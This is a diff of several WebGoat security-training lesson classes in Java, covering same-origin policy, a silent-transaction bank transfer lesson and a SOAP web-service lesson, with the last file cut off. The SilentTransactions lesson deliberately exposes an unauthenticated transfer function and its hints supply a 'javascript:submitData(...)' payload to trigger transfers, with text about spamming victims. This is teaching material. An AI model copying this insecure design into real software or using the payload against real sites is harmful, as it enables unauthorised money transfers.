@ -19,160 +19,160 @@ import org.owasp.webgoat.session.WebSession;
public class SameOriginPolicyProtection extends LessonAdapter public class SameOriginPolicyProtection extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
ec.addElement(new Script().setSrc("lessonJS/sameOrigin.js")); ec.addElement(new Script().setSrc("lessonJS/sameOrigin.js"));
Input hiddenWGStatus = new Input(Input.HIDDEN, "hiddenWGStatus", 0); Input hiddenWGStatus = new Input(Input.HIDDEN, "hiddenWGStatus", 0);
hiddenWGStatus.setID("hiddenWGStatus"); hiddenWGStatus.setID("hiddenWGStatus");
ec.addElement(hiddenWGStatus); ec.addElement(hiddenWGStatus);
Input hiddenGoogleStatus = new Input(Input.HIDDEN, "hiddenGoogleStatus", 0); Input hiddenGoogleStatus = new Input(Input.HIDDEN, "hiddenGoogleStatus", 0);
hiddenGoogleStatus.setID("hiddenGoogleStatus"); hiddenGoogleStatus.setID("hiddenGoogleStatus");
ec.addElement(hiddenGoogleStatus); ec.addElement(hiddenGoogleStatus);
ec.addElement(new StringElement("Enter a URL: ")); ec.addElement(new StringElement("Enter a URL: "));
ec.addElement(new BR()); ec.addElement(new BR());
TextArea urlArea = new TextArea(); TextArea urlArea = new TextArea();
urlArea.setID("requestedURL"); urlArea.setID("requestedURL");
urlArea.setRows(1); urlArea.setRows(1);
urlArea.setCols(60); urlArea.setCols(60);
urlArea.setWrap("SOFT"); urlArea.setWrap("SOFT");
ec.addElement(urlArea); ec.addElement(urlArea);
button b = new button(); button b = new button();
b.setValue("Go!"); b.setValue("Go!");
b.setType(button.button); b.setType(button.button);
b.setName("Go!"); b.setName("Go!");
b.setOnClick("submitXHR();"); b.setOnClick("submitXHR();");
b.addElement("Go!"); b.addElement("Go!");
ec.addElement(b); ec.addElement(b);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
H3 reponseTitle = new H3("Response: "); H3 reponseTitle = new H3("Response: ");
reponseTitle.setID("responseTitle"); reponseTitle.setID("responseTitle");
ec.addElement(reponseTitle); ec.addElement(reponseTitle);
// ec.addElement(new BR()); // ec.addElement(new BR());
TextArea ta = new TextArea(); TextArea ta = new TextArea();
ta.setName("responseArea"); ta.setName("responseArea");
ta.setID("responseArea"); ta.setID("responseArea");
ta.setCols(60); ta.setCols(60);
ta.setRows(4); ta.setRows(4);
ec.addElement(ta); ec.addElement(ta);
ec.addElement(new BR()); ec.addElement(new BR());
String webGoatURL = "lessons/Ajax/sameOrigin.jsp"; String webGoatURL = "lessons/Ajax/sameOrigin.jsp";
String googleURL = "http://www.google.com/search?q=aspect+security"; String googleURL = "http://www.google.com/search?q=aspect+security";
ec.addElement(new BR()); ec.addElement(new BR());
A webGoat = new A(); A webGoat = new A();
webGoat.setHref("javascript:populate(\"" + webGoatURL + "\")"); webGoat.setHref("javascript:populate(\"" + webGoatURL + "\")");
webGoat.addElement("Click here to try a Same Origin request:<BR/> " + webGoatURL); webGoat.addElement("Click here to try a Same Origin request:<BR/> " + webGoatURL);
ec.addElement(webGoat); ec.addElement(webGoat);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
A google = new A(); A google = new A();
google.setHref("javascript:populate(\"" + googleURL + "\")"); google.setHref("javascript:populate(\"" + googleURL + "\")");
google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL); google.addElement("Click here to try a Different Origin request:<BR/> " + googleURL);
ec.addElement(google); ec.addElement(google);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0); int hiddenWGStatusInt = s.getParser().getIntParameter("hiddenWGStatus", 0);
int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0); int hiddenGoogleStatusInt = s.getParser().getIntParameter("hiddenGoogleStatus", 0);
// System.out.println("hiddenWGStatus:" + hiddenWGStatusInt); // System.out.println("hiddenWGStatus:" + hiddenWGStatusInt);
// System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt); // System.out.println("hiddenGoogleStatusInt:" + hiddenGoogleStatusInt);
if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1) if (hiddenWGStatusInt == 1 && hiddenGoogleStatusInt == 1)
{ {
makeSuccess(s); makeSuccess(s);
} }
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the HelloScreen object * Gets the hints attribute of the HelloScreen object
* *
* @return The hints value * @return The hints value
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Enter a URL to see if it is allowed."); hints.add("Enter a URL to see if it is allowed.");
hints.add("Click both of the links below to complete the lesson"); hints.add("Click both of the links below to complete the lesson");
return hints; return hints;
} }
/** /**
* Gets the ranking attribute of the HelloScreen object * Gets the ranking attribute of the HelloScreen object
* *
* @return The ranking value * @return The ranking value
*/ */
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Same Origin Policy Protection"); return ("Same Origin Policy Protection");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
String instructions = "This exercise demonstrates the " String instructions = "This exercise demonstrates the "
+ "Same Origin Policy Protection. XHR requests can only be passed back to " + "Same Origin Policy Protection. XHR requests can only be passed back to "
+ " the originating server. Attempts to pass data to a non-originating server " + " will fail."; + " the originating server. Attempts to pass data to a non-originating server " + " will fail.";
return (instructions); return (instructions);
} }
} }

View File

@ -12,127 +12,127 @@ import org.owasp.webgoat.session.WebSession;
public abstract class SequentialLessonAdapter extends LessonAdapter public abstract class SequentialLessonAdapter extends LessonAdapter
{ {
public void setStage(WebSession s, int stage) public void setStage(WebSession s, int stage)
{ {
// System.out.println("Changed to stage " + stage); // System.out.println("Changed to stage " + stage);
getLessonTracker(s).setStage(stage); getLessonTracker(s).setStage(stage);
} }
/* /*
* By default returns 1 stage. (non-Javadoc) * By default returns 1 stage. (non-Javadoc)
*/ */
public int getStageCount() public int getStageCount()
{ {
return 1; return 1;
} }
public int getStage(WebSession s) public int getStage(WebSession s)
{ {
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
// System.out.println("In stage " + stage); // System.out.println("In stage " + stage);
return stage; return stage;
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s) public SequentialLessonTracker getLessonTracker(WebSession s)
{ {
return (SequentialLessonTracker) super.getLessonTracker(s); return (SequentialLessonTracker) super.getLessonTracker(s);
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson) public SequentialLessonTracker getLessonTracker(WebSession s, AbstractLesson lesson)
{ {
return (SequentialLessonTracker) super.getLessonTracker(s, lesson); return (SequentialLessonTracker) super.getLessonTracker(s, lesson);
} }
@Override @Override
public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride) public SequentialLessonTracker getLessonTracker(WebSession s, String userNameOverride)
{ {
return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride); return (SequentialLessonTracker) super.getLessonTracker(s, userNameOverride);
} }
@Override @Override
public LessonTracker createLessonTracker() public LessonTracker createLessonTracker()
{ {
return new SequentialLessonTracker(); return new SequentialLessonTracker();
} }
protected Element createStagedContent(WebSession s) protected Element createStagedContent(WebSession s)
{ {
try try
{ {
int stage = getLessonTracker(s).getStage(); int stage = getLessonTracker(s).getStage();
// int stage = Integer.parseInt( // int stage = Integer.parseInt(
// getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1")); // getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE,"1"));
switch (stage) switch (stage)
{ {
case 1: case 1:
return (doStage1(s)); return (doStage1(s));
case 2: case 2:
return (doStage2(s)); return (doStage2(s));
case 3: case 3:
return (doStage3(s)); return (doStage3(s));
case 4: case 4:
return (doStage4(s)); return (doStage4(s));
case 5: case 5:
return (doStage5(s)); return (doStage5(s));
case 6: case 6:
return (doStage6(s)); return (doStage6(s));
default: default:
throw new Exception("Invalid stage"); throw new Exception("Invalid stage");
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
// System.out.println(e); // System.out.println(e);
e.printStackTrace(); e.printStackTrace();
} }
return (new StringElement("")); return (new StringElement(""));
} }
protected Element doStage1(WebSession s) throws Exception protected Element doStage1(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 1 Stub"); ec.addElement("Stage 1 Stub");
return ec; return ec;
} }
protected Element doStage2(WebSession s) throws Exception protected Element doStage2(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 2 Stub"); ec.addElement("Stage 2 Stub");
return ec; return ec;
} }
protected Element doStage3(WebSession s) throws Exception protected Element doStage3(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 3 Stub"); ec.addElement("Stage 3 Stub");
return ec; return ec;
} }
protected Element doStage4(WebSession s) throws Exception protected Element doStage4(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 4 Stub"); ec.addElement("Stage 4 Stub");
return ec; return ec;
} }
protected Element doStage5(WebSession s) throws Exception protected Element doStage5(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 5 Stub"); ec.addElement("Stage 5 Stub");
return ec; return ec;
} }
protected Element doStage6(WebSession s) throws Exception protected Element doStage6(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement("Stage 6 Stub"); ec.addElement("Stage 6 Stub");
return ec; return ec;
} }
} }

File diff suppressed because it is too large Load Diff

View File

@ -56,234 +56,234 @@ import org.owasp.webgoat.session.WebSession;
public class SilentTransactions extends LessonAdapter public class SilentTransactions extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(40); private final static Integer DEFAULT_RANKING = new Integer(40);
private final static Double CURRENT_BALANCE = 11987.09; private final static Double CURRENT_BALANCE = 11987.09;
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
try try
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax")) if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ {
if (s.getParser().getRawParameter("confirm", "").equals("Confirm")) if (s.getParser().getRawParameter("confirm", "").equals("Confirm"))
{ {
String amount = s.getParser().getRawParameter("amount", ""); String amount = s.getParser().getRawParameter("amount", "");
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
StringBuffer result = new StringBuffer(); StringBuffer result = new StringBuffer();
result.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>"); result.append("<br><br>* Congratulations. You have successfully completed this lesson.<br>");
if (!amount.equals("")) if (!amount.equals(""))
{ {
result.append("You have just silently authorized "); result.append("You have just silently authorized ");
result.append(amount); result.append(amount);
result.append("$ without the user interaction.<br>"); result.append("$ without the user interaction.<br>");
} }
result result
.append("Now you can send out a spam email containing this link and whoever clicks on it<br>"); .append("Now you can send out a spam email containing this link and whoever clicks on it<br>");
result.append(" and happens to be logged in the same time will loose their money !!"); result.append(" and happens to be logged in the same time will loose their money !!");
out.print(result.toString()); out.print(result.toString());
out.flush(); out.flush();
out.close(); out.close();
getLessonTracker(s).setCompleted(true); getLessonTracker(s).setCompleted(true);
return; return;
} }
else if (s.getParser().getRawParameter("confirm", "").equals("Transferring")) else if (s.getParser().getRawParameter("confirm", "").equals("Transferring"))
{ {
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream()); PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print("<br><br>The Transaction has Completed Successfully."); out.print("<br><br>The Transaction has Completed Successfully.");
out.flush(); out.flush();
out.close(); out.close();
return; return;
} }
} }
} catch (Exception ex) } catch (Exception ex)
{ {
ex.printStackTrace(); ex.printStackTrace();
} }
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType(""); Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Current WebSession * Current WebSession
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<script>" String script = "<script>"
+ lineSep + lineSep
+ "function processData(){" + "function processData(){"
+ lineSep + lineSep
+ " var accountNo = document.getElementById('newAccount').value;" + " var accountNo = document.getElementById('newAccount').value;"
+ lineSep + lineSep
+ " var amount = document.getElementById('amount').value;" + " var amount = document.getElementById('amount').value;"
+ lineSep + lineSep
+ " if ( accountNo == ''){" + " if ( accountNo == ''){"
+ lineSep + lineSep
+ " alert('Please enter a valid account number to transfer to.')" + " alert('Please enter a valid account number to transfer to.')"
+ lineSep + lineSep
+ " return;" + " return;"
+ lineSep + lineSep
+ "}" + "}"
+ lineSep + lineSep
+ " else if ( amount == ''){" + " else if ( amount == ''){"
+ lineSep + lineSep
+ " alert('Please enter a valid amount to transfer.')" + " alert('Please enter a valid amount to transfer.')"
+ lineSep + lineSep
+ " return;" + " return;"
+ lineSep + lineSep
+ "}" + "}"
+ lineSep + lineSep
+ " var balanceValue = document.getElementById('balanceID').innerHTML;" + " var balanceValue = document.getElementById('balanceID').innerHTML;"
+ lineSep + lineSep
+ " balanceValue = balanceValue.replace( new RegExp('$') , '');" + " balanceValue = balanceValue.replace( new RegExp('$') , '');"
+ lineSep + lineSep
+ " if ( parseFloat(amount) > parseFloat(balanceValue) ) {" + " if ( parseFloat(amount) > parseFloat(balanceValue) ) {"
+ lineSep + lineSep
+ " alert('You can not transfer more funds than what is available in your balance.')" + " alert('You can not transfer more funds than what is available in your balance.')"
+ lineSep + lineSep
+ " return;" + " return;"
+ lineSep + lineSep
+ "}" + "}"
+ lineSep + lineSep
+ " document.getElementById('confirm').value = 'Transferring'" + " document.getElementById('confirm').value = 'Transferring'"
+ lineSep + lineSep
+ "submitData(accountNo, amount);" + "submitData(accountNo, amount);"
+ lineSep + lineSep
+ " document.getElementById('confirm').value = 'Confirm'" + " document.getElementById('confirm').value = 'Confirm'"
+ lineSep + lineSep
+ "balanceValue = parseFloat(balanceValue) - parseFloat(amount);" + "balanceValue = parseFloat(balanceValue) - parseFloat(amount);"
+ lineSep + lineSep
+ "balanceValue = balanceValue.toFixed(2);" + "balanceValue = balanceValue.toFixed(2);"
+ lineSep + lineSep
+ "document.getElementById('balanceID').innerHTML = balanceValue + '$';" + "document.getElementById('balanceID').innerHTML = balanceValue + '$';"
+ lineSep + lineSep
+ "}" + "}"
+ lineSep + lineSep
+ "function submitData(accountNo, balance) {" + "function submitData(accountNo, balance) {"
+ lineSep + lineSep
+ "var url = '" + "var url = '"
+ getLink() + getLink()
+ "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; " + "&from=ajax&newAccount='+ accountNo+ '&amount=' + balance +'&confirm=' + document.getElementById('confirm').value; "
+ lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();" + lineSep + "if (typeof XMLHttpRequest != 'undefined') {" + lineSep + "req = new XMLHttpRequest();"
+ lineSep + "} else if (window.ActiveXObject) {" + lineSep + lineSep + "} else if (window.ActiveXObject) {" + lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep + " }" + lineSep + "req = new ActiveXObject('Microsoft.XMLHTTP');" + lineSep + " }" + lineSep
+ " req.open('GET', url, true);" + lineSep + " req.onreadystatechange = callback;" + lineSep + " req.open('GET', url, true);" + lineSep + " req.onreadystatechange = callback;" + lineSep
+ " req.send(null);" + lineSep + "}" + lineSep + "function callback() {" + lineSep + " req.send(null);" + lineSep + "}" + lineSep + "function callback() {" + lineSep
+ " if (req.readyState == 4) { " + lineSep + " if (req.status == 200) { " + lineSep + " if (req.readyState == 4) { " + lineSep + " if (req.status == 200) { " + lineSep
+ " var result = req.responseText ;" + lineSep + " var result = req.responseText ;" + lineSep
+ " var resultsDiv = document.getElementById('resultsDiv');" + lineSep + " var resultsDiv = document.getElementById('resultsDiv');" + lineSep
+ " resultsDiv.innerHTML = '';" + lineSep + " resultsDiv.innerHTML = result;" + lineSep + " resultsDiv.innerHTML = '';" + lineSep + " resultsDiv.innerHTML = result;" + lineSep
+ " }}}" + lineSep + "</script>" + lineSep; + " }}}" + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
ec.addElement(new H1("Welcome to WebGoat Banking System")); ec.addElement(new H1("Welcome to WebGoat Banking System"));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new H3("Account Summary:")); ec.addElement(new H3("Account Summary:"));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("70%").setAlign("left"); Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("70%").setAlign("left");
ec.addElement(new BR()); ec.addElement(new BR());
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TD(new StringElement("Account Balance:"))); tr.addElement(new TD(new StringElement("Account Balance:")));
tr.addElement(new TD(new StringElement("<div id='balanceID'>" + CURRENT_BALANCE.toString() + "$</div>"))); tr.addElement(new TD(new StringElement("<div id='balanceID'>" + CURRENT_BALANCE.toString() + "$</div>")));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new StringElement("Transfer to Account:"))); tr.addElement(new TD(new StringElement("Transfer to Account:")));
Input newAccount = new Input(); Input newAccount = new Input();
newAccount.addAttribute("id", "newAccount"); newAccount.addAttribute("id", "newAccount");
newAccount.setType(Input.TEXT); newAccount.setType(Input.TEXT);
newAccount.setName("newAccount"); newAccount.setName("newAccount");
newAccount.setValue(""); newAccount.setValue("");
tr.addElement(new TD(newAccount)); tr.addElement(new TD(newAccount));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new StringElement("Transfer Amount:"))); tr.addElement(new TD(new StringElement("Transfer Amount:")));
Input amount = new Input(); Input amount = new Input();
amount.addAttribute("id", "amount"); amount.addAttribute("id", "amount");
amount.setType(Input.TEXT); amount.setType(Input.TEXT);
amount.setName("amount"); amount.setName("amount");
amount.setValue(0); amount.setValue(0);
tr.addElement(new TD(amount)); tr.addElement(new TD(amount));
t1.addElement(tr); t1.addElement(tr);
ec.addElement(t1); ec.addElement(t1);
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new PRE()); ec.addElement(new PRE());
Input b = new Input(); Input b = new Input();
b.setType(Input.BUTTON); b.setType(Input.BUTTON);
b.setName("confirm"); b.setName("confirm");
b.addAttribute("id", "confirm"); b.addAttribute("id", "confirm");
b.setValue("Confirm"); b.setValue("Confirm");
b.setOnClick("processData();"); b.setOnClick("processData();");
ec.addElement(b); ec.addElement(b);
ec.addElement(new BR()); ec.addElement(new BR());
Div div = new Div(); Div div = new Div();
div.addAttribute("name", "resultsDiv"); div.addAttribute("name", "resultsDiv");
div.addAttribute("id", "resultsDiv"); div.addAttribute("id", "resultsDiv");
div.setStyle("font-weight: bold;color:red;"); div.setStyle("font-weight: bold;color:red;");
ec.addElement(div); ec.addElement(div);
return ec; return ec;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Check the javascript in the HTML source."); hints.add("Check the javascript in the HTML source.");
hints.add("Check how the application calls a specific javascript function to execute the transaction."); hints.add("Check how the application calls a specific javascript function to execute the transaction.");
hints.add("Check the javascript functions processData and submitData()"); hints.add("Check the javascript functions processData and submitData()");
hints.add("Function submitData() is the one responsible for actually ececuting the transaction."); hints.add("Function submitData() is the one responsible for actually ececuting the transaction.");
hints.add("Check if your browser supports running javascript from the address bar."); hints.add("Check if your browser supports running javascript from the address bar.");
hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'"); hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'");
return hints; return hints;
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Silent Transactions Attacks"); return ("Silent Transactions Attacks");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
} }

View File

@ -62,421 +62,421 @@ import org.owasp.webgoat.session.WebgoatContext;
public class SoapRequest extends SequentialLessonAdapter public class SoapRequest extends SequentialLessonAdapter
{ {
public final static String firstName = "getFirstName"; public final static String firstName = "getFirstName";
public final static String lastName = "getLastName"; public final static String lastName = "getLastName";
public final static String loginCount = "getLoginCount"; public final static String loginCount = "getLoginCount";
public final static String ccNumber = "getCreditCard"; public final static String ccNumber = "getCreditCard";
// int instead of boolean to keep track of method invocation count // int instead of boolean to keep track of method invocation count
static int accessFirstName; static int accessFirstName;
static int accessLastName; static int accessLastName;
static int accessCreditCard; static int accessCreditCard;
static int accessLoginCount; static int accessLoginCount;
private static WebgoatContext webgoatContext; private static WebgoatContext webgoatContext;
/** /**
* We maintain a static reference to WebgoatContext, since this class is also automatically * We maintain a static reference to WebgoatContext, since this class is also automatically
* instantiated by the Axis web services module, which does not call setWebgoatContext() * instantiated by the Axis web services module, which does not call setWebgoatContext()
* (non-Javadoc) * (non-Javadoc)
* *
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext) * @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/ */
@Override @Override
public void setWebgoatContext(WebgoatContext webgoatContext) public void setWebgoatContext(WebgoatContext webgoatContext)
{ {
SoapRequest.webgoatContext = webgoatContext; SoapRequest.webgoatContext = webgoatContext;
} }
@Override @Override
public WebgoatContext getWebgoatContext() public WebgoatContext getWebgoatContext()
{ {
return SoapRequest.webgoatContext; return SoapRequest.webgoatContext;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.WEB_SERVICES; return Category.WEB_SERVICES;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints hints
.add("Accessible operations are delimited by the &lt;operation&gt; tag contained within the &lt;portType&gt; section of the WSDL. <BR> Below is an example of a typical operation (getFirstName): <br><br>" .add("Accessible operations are delimited by the &lt;operation&gt; tag contained within the &lt;portType&gt; section of the WSDL. <BR> Below is an example of a typical operation (getFirstName): <br><br>"
+ "&lt;wsdl:portType name=\"SoapRequest\"&gt; <br>" + "&lt;wsdl:portType name=\"SoapRequest\"&gt; <br>"
+ "&lt;wsdl:<strong>operation name=\"getFirstName\"</strong>&gt;<br>" + "&lt;wsdl:<strong>operation name=\"getFirstName\"</strong>&gt;<br>"
+ "&lt;wsdl:input message=\"impl:getFirstNameRequest\" name=\"getFirstNameRequest\" /&gt;<br>" + "&lt;wsdl:input message=\"impl:getFirstNameRequest\" name=\"getFirstNameRequest\" /&gt;<br>"
+ "&lt;wsdl:output message=\"impl:getFirstNameResponse\" name=\"getFirstNameResponse\" /&gt;<br>" + "&lt;wsdl:output message=\"impl:getFirstNameResponse\" name=\"getFirstNameResponse\" /&gt;<br>"
+ "&lt;wsdlsoap:operation soapAction=\"\" /&gt;" + "&lt;wsdlsoap:operation soapAction=\"\" /&gt;"
+ "&lt;/wsdl:portType&gt;<br><br>" + "&lt;/wsdl:portType&gt;<br><br>"
+ "The methods invoked are defined by the input and output message attributes. " + "The methods invoked are defined by the input and output message attributes. "
+ "Example: <strong>\"getFirstNameRequest\"</strong>"); + "Example: <strong>\"getFirstNameRequest\"</strong>");
hints hints
.add("There are several tags within a SOAP envelope. " .add("There are several tags within a SOAP envelope. "
+ "Each namespace is defined in the &lt;definitions&gt; section of the WSDL, and is declared using the (xmlns:namespace_name_here=\"namespace_reference_location_here\") format.<br><br>" + "Each namespace is defined in the &lt;definitions&gt; section of the WSDL, and is declared using the (xmlns:namespace_name_here=\"namespace_reference_location_here\") format.<br><br>"
+ "The following example defines a tag \"&lt;xsd:\", whose attribute structure will reference the namespace location assigned to it in the declaration:<br>" + "The following example defines a tag \"&lt;xsd:\", whose attribute structure will reference the namespace location assigned to it in the declaration:<br>"
+ "<strong>xmlns:xsd=\"http://www.w3.org/2001/XMLSchema</strong>"); + "<strong>xmlns:xsd=\"http://www.w3.org/2001/XMLSchema</strong>");
hints hints
.add("Determine what parameters and types are required by the message definition corresponding to the operation's request method. " .add("Determine what parameters and types are required by the message definition corresponding to the operation's request method. "
+ "This example defines a parameter (id) of type (int) in the namespace (xsd) for the method (getFirstNameRequest):<br>" + "This example defines a parameter (id) of type (int) in the namespace (xsd) for the method (getFirstNameRequest):<br>"
+ "&lt;wsdl:message name=\"getFirstNameRequest\"<br><br>" + "&lt;wsdl:message name=\"getFirstNameRequest\"<br><br>"
+ "&lt;wsdl:<strong>part name=\"id\" type=\"xsd:int\"</strong> /&gt;<br>" + "&lt;wsdl:<strong>part name=\"id\" type=\"xsd:int\"</strong> /&gt;<br>"
+ "&lt;/wsdl:message&gt;<br><br>" + "&lt;/wsdl:message&gt;<br><br>"
+ "Examples of other types:<br>" + "Examples of other types:<br>"
+ "{boolean, byte, base64Binary, double, float, int, long, short, unsignedInt, unsignedLong, unsignedShort, string}.<br>"); + "{boolean, byte, base64Binary, double, float, int, long, short, unsignedInt, unsignedLong, unsignedShort, string}.<br>");
String soapEnv = "A SOAP request uses the following HTTP header: <br><br> " String soapEnv = "A SOAP request uses the following HTTP header: <br><br> "
+ "SOAPAction: some action header, can be &quot;&quot; <br><br>" + "SOAPAction: some action header, can be &quot;&quot; <br><br>"
+ "The SOAP message body has the following format:<br>" + "The SOAP message body has the following format:<br>"
+ "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" + "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>"
+ "&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" + "&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>"
+ " xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" + " xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>"
+ " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" + " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>" + "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
